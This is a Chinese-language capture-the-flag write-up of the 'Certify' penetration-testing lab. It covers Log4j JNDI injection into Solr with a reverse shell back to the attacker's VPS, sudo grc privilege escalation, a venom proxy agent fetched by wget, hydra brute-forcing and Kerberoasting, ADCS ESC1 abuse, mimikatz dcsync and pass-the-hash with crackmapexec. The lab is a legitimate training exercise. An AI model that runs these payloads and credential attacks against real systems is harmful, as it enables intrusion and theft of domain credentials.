Note

春秋云镜靶场--Certify记录

[[仿真靶场-Certify]]

靶场介绍

Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

  • Solr
  • AD CS
  • SMB
  • Kerberos
  • 域渗透

解题步骤

第一个flag

nmap扫描

80端口扫描目录无果

nmap全端口扫描

访问http://39.99.234.17:8983/solr/#/,是solr界面,可能存在log4j漏洞

访问http://39.99.234.17:8983/solr/admin/info/system?_=${jndi:ldap://1fed89d19d.ipv6.1433.eu.org}&wt=json测试是否可以访问dnslog,如下,可访问,可能存在log4j漏洞

反弹shell

利用JNDI返回shell,在vps上

同时在vps开启监听

nc -lvnp 1234

ldap://x.x.x.x:1389/Basic/ReverseShell/vps的ip地址/1234

发送请求成功返回shell

solr用户未找到flag,需要提权至root用户

sudo -l,查看以sudo权限运行的文件,可以找到/usr/bin/grc文件无需输入root密码即可以root身份运行

直接运行/usr/bin/grc文件,输出如下,注意--pty参数

https://gtfobins.github.io/gtfobins/grc/网站可以找到grc提权的方法

sudo grc --pty /bin/sh

获取第一个flag

第二个flag

查看服务器ip,solr服务器的ip地址是:172.22.9.19

上传fscan扫描

扫描后的信息整理如下:

172.22.9.7 XIAORANG\XIAORANG-DC #dc服务器
172.22.9.26 #域内机器
172.22.9.47 #fileserver
172.22.9.19 #solr服务器

注意:看了别人的wp,发现这里少了一台服务器,后面的两个flag就拿不到

将内网流量代理出来,用venom进行代理

1、vps上监听

./admin_linux_x64 -lport 9999

2、同时,vps上开启web服务

python3 -m http.server

3、solr靶机下载agent端

wget http://vps的ip地址:8000/agent_linux_x64

4、靶机运行venom的agent,连接服务端

./agent_linux_x64 -rhost vps的ip地址 -rport 9999

开启socks代理

先看下文件服务器,测试下是否存在文件共享

kali下修改/etc/proxychains4.conf文件,设置代理服务器

nmap扫描

proxychains -q nmap -sT -A 172.22.9.47

proxychains smbclient \\\\172.22.9.47\\fileshare

get personnel.db 
get secret\flag02.txt

获取到第二个flag

tips:Yes, you have enumerated smb. But do you know what an SPN is?(确实,你已经提到了smb。但是,你是否了解SPN的含义呢?)

第三个flag

查看personnel.db文件,可以找到一些用户名和密码

导出用户名和密码,通过hydra爆破rdp,爆破了两个帐号,但无法登录

proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV

报错告诉我们账户可能有效,但似乎没有启用远程桌面功能。

根据flag02中的提示(确实,你已经提到了smb。但是,你是否了解SPN的含义呢?)

去获取域用户下的spn

proxychains -q python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian

输入hydra爆破的密码

得到了krb5tgs的 Kerberos TGS-REP(Ticket-Granting Service Reply)票据的哈希

通过hashcat爆破

hashcat -m 13100 -a 0 hash.txt wordlist.txt

爆破出了zhangxia和chenchen的密码

密码如下:

MyPass2@<at-mention handle="6">@6
</at-mention>@Passw0rd@

rdp连接

 proxychains xfreerdp /u:"[email protected]" /v:172.22.9.26:3389

成功访问了172.22.9.26的rdp

无法访问administrator目录,flag在这个目录下

第四个flag

ADCS ESC1

参考:
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/account-persistence

下载Certify文件,上传至172.22.9.26上

Certify下载:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

运行如下命令:

#查找易受攻击的证书模板
Certify.exe find /vulnerable

查看设置了msPKI-Certificate-Name-Flag: (0x1) ENROLLEE_SUPPLIES_SUBJECT标志的证书模版,利用这个漏洞冒充管理员

注:但是运行后报错,经排查发现此环境还有一台服务器没起来,172.22.9.13,这台服务器为CA服务器,后面重试了好几次都起不来。

正常来说这一步可以为域管理员申请证书,输出一个证书文件。然后将证书格式转换为.pfx格式。

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

然后使用Rubeus或certipy进行身份验证

Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt

获得票据后导出hash

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

运行上述命令后就可以获得域内用户和域管的hash。

hash传递

有hash之后就可以进行hash传递,获取域内用户权限

proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

同样的方式获取172.22.9.7(域管的权限)

proxychains crackmapexec smb 172.22.9.7 -u administrator -H00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type c:\Users\Administrator\flag\flag04.txt"

0
0
...
...
...
Avatar